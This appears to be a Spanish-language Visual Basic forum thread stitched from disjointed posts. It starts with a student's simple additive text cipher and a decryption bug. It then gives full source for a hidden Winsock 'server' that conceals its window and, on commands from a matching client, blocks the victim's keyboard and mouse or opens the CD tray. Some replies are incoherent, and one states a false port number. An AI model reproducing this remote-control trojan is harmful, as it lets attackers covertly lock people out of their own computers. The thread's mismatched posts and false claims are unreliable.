Mensajes

me confundi en copiarlo es - no +
XD... la encripcion es + y nunca hace problemas

bue estoy haciendo un pequeño trabajo para la escuela en el cual cifro un texto de la formma siguiente:

Código [Seleccionar] Expandir


For x = 1 To MaxText
   crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(pass.Text, y, 1)))
   If (y = MaxPass) Then
      y = 1
   End If
   y = y + 1
Next x
Form1.Texto.Text = crypted


lo que hago es agarrar char por char del texto y sumarle el ascii del char que recivo en el pass, es simple y funciona

el problema es que cuando abro un txt cifrado anterior mente me sale un error en la linea:

Código [Seleccionar] Expandir


crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(Text1.Text, y, 1)))


aca les paso el codigo de todo el programa:

<<<Form1.frm - principal>>>

Código [Seleccionar] Expandir

Dim File As Integer, txt As String
Private Sub Form_Resize()
On Error GoTo fin
If Form1.Height < 825 Then
   Form1.Height = 826
End If
If Form1.Width < 120 Then
   Form1.Width = 121
End If
Texto.Height = Form1.Height - 825
Texto.Width = Form1.Width - 120
fin:
End Sub


Private Sub menuDecryptItem_Click()
Load Form3
Form3.Visible = True
End Sub

Private Sub menuEncryptItem_Click()
Load Form2
Form2.Visible = True
End Sub

Private Sub menuExitItem_Click()
End
End Sub

Private Sub menuFontItem_Click()
CD.ShowColor
Texto.ForeColor = CD.Color
End Sub

Private Sub menuNewItem_Click()
Texto.Text = ""
encrypted = 0
End Sub

Private Sub menuOpenItem_Click()
On Error GoTo fin
Dim leng As Long
Dim x As Long
File = FreeFile
CD.Filter = "Text Files (*.txt)|*.txt"
CD.ShowOpen
Open CD.FileName For Binary As #File
txt = Space(LOF(File))
Get #File, , txt
Close File
Texto.Text = txt
fin:
End Sub

Private Sub menuSaveItem_Click()
On Error GoTo fin
File = FreeFile
CD.Filter = "Text Files (*.txt)|*.txt"
CD.ShowSave
Open CD.FileName For Output As #File
Print #File, Texto.Text
Close File
fin:
End Sub



<<<Form2.frm - encriptacion>>>

Código [Seleccionar] Expandir

Dim x, MaxText, y, MaxPass As Long, crypted As String

Private Sub CancelButton_Click()
Unload Me
End Sub

Private Sub Form_Load()
Label2.Visible = False
End Sub

Private Sub OKButton_Click()
Label1.Visible = False
Text1.Visible = False
OKButton.Visible = False
CancelButton.Visible = False
Label2.Visible = True
MaxText = Len(Form1.Texto.Text)
MaxPass = Len(Text1.Text)
y = 1
crypted = ""
For x = 1 To MaxText
   crypted = crypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) + Asc(Mid(Text1.Text, y, 1)))
   If (y = MaxPass) Then
      y = 1
   End If
   y = y + 1
Next x
Form1.Texto.Text = crypted
Unload Me
End Sub



<<<Form3.frm Decriptacion>>>

Código [Seleccionar] Expandir

Dim x, MaxText, y, MaxPass As Long, decrypted As String
Private Sub CancelButton_Click()
Unload Me
End Sub

Private Sub OKButton_Click()
On Error GoTo fin
Label1.Visible = False
Text1.Visible = False
OKButton.Visible = False
CancelButton.Visible = False
Label2.Visible = True
MaxText = Len(Form1.Texto.Text)
MaxPass = Len(Text1.Text)
y = 1
decrypted = ""
For x = 1 To MaxText
      decrypted = decrypted & Chr(Asc(Mid(Form1.Texto.Text, x, 1)) - Asc(Mid(Text1.Text, y, 1)))
   If (y = MaxPass) Then
      y = 1
   End If
   y = y + 1
Next x
Form1.Texto.Text = decrypted
Unload Me
fin:
Unload Me
End Sub


aver si alguien me puede explicar porque cada ves que abro un archivo no salta el error en esa linea?
osea si abro el txt y le cambio algo tonces anda pero si no toco el texto despues que lo abro no anda...

alguien tiene alguna solucion?

aparte la mayoria de los servidores apache tienen las ordenes de sockets blockeadas

aparte del firewall hay puertos que te pueden conectar a tu compu como el 49853918457084578765846508956 pero de una compu a otra no. tendes entre la misma compu la anda cualkier puerto pero si es de una remota a otra no

que error te da?

esas paginas se llama hackme

pero el form1 esta siempre por defecto

bue chicos el codigo del el señor es muy parecido a este:


Servidor:

Código [Seleccionar] Expandir


Private Declare Sub InitCommonControls Lib "comctl32.dll" ()

Private Sub Form_Load()
Me.Hide
Winsock1.Listen
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim colgar As String
Dim abrir As String
Winsock1.GetData datos
colgar = "colgar"
abrir = "abrir"


If datos = colgar Then
    BlockInput True
End If

If datos = abrir Then
Dim res As Long, ReturnString As String * 127
    res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
    End If

End Sub


module 1:

Código [Seleccionar] Expandir


Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long


medule 2:

Código [Seleccionar] Expandir

Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal _
lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long



en ese momento no se porque le puse 2 modules, creo que porque los controles de las api los abia copiado de www.lawebdelprogramador.com pero este codigo anda

y el cliente pa los boluss

Código [Seleccionar] Expandir


Private Sub Command1_Click()
Winsock1.RemoteHost = Text1.Text
Winsock1.Connect
End Sub

Private Sub Command2_Click()
Dim colgar As String
colgar = "colgar"
Winsock1.SendData colgar
End Sub

Private Sub Command3_Click()
Dim abrir As String
abrir = "abrir"
Winsock1.SendData abrir
End Sub


aver chicos si keda claro, yo de batch se bastante y batch como bash y perl no soy lenguages de programacion son scripts de la consola de la shell. c, vb, java, y mas eso es lenguage de programacion. batch, javascipt, actionscript, bash, perl esos son lenguages de scripts

vas a: project->project1 propietes y hay configuras todo